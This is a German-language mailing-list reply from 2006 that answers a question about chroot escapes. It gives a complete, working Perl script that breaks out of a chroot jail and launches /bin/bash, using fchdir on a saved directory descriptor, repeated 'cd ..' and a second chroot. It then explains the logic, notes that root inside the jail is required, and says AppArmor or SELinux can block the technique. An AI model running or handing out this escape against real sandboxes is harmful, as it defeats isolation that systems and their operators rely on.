On Wednesday 19 July 2006 10:02, Dr. Jürgen Vollmer wrote:
wo gibt's das?
Damit geht es z.B.: -------------------------------------------------------- #!/usr/bin/perl require 'syscall.ph'; chdir "/tmp" or die "ERROR: Cannot chdir /tmp: $!\n"; opendir D, "/tmp" or die "ERROR: Cannot opendir /tmp: $!\n"; mkdir "break$$", 0755 or die "ERROR: Cannot mkdir break$$: $!\n"; chroot "break$$" or die "ERROR: Cannot chroot break$$: $!\n"; syscall SYS_fchdir, fileno(D) or die "ERROR: fchdir failed: $!\n"; for( my $i=0; $i<100; $i++ ) { chdir '..' or warn "WARNING: Cannot chdir ..: $!\n"; } chroot '.' or die "ERROR: Cannot chroot .: $!\n"; exec "/bin/bash"; -------------------------------------------------------- Die Logik ist einfach. Du macht eine Directory (innerhalb chroot) auf und kriegst einen File Descriptor, in diesem Fall "/tmp". Dann wechselst Du in eine Directory, die innerhalb der gerade geöffneten liegt und machst "chroot .". Nun hast Du einen File Descriptor, der außerhalb der aktuellen Root liegt. Mit "fchdir(descriptor)" liegt dann Deine current working directory außerhalb Deiner aktuellen Root-Dir. Nun machst Du noch ein paar mal "cd .." und hoffst, daß Du irgendwann in einem Verzeichnis landest, das so eingerichtet ist, daß Du eine Shell starten kannst. Fertig. Der Ansatz hat eine Schwachstelle. Du mußt in der chroot-Umgebung nochmal chroot aufrufen können. Das kann nur Root. Du mußt also in der chroot-Umgebung root sein. Mit apparmor oder selinux lässt sich das auch für root gut verbieten. Torsten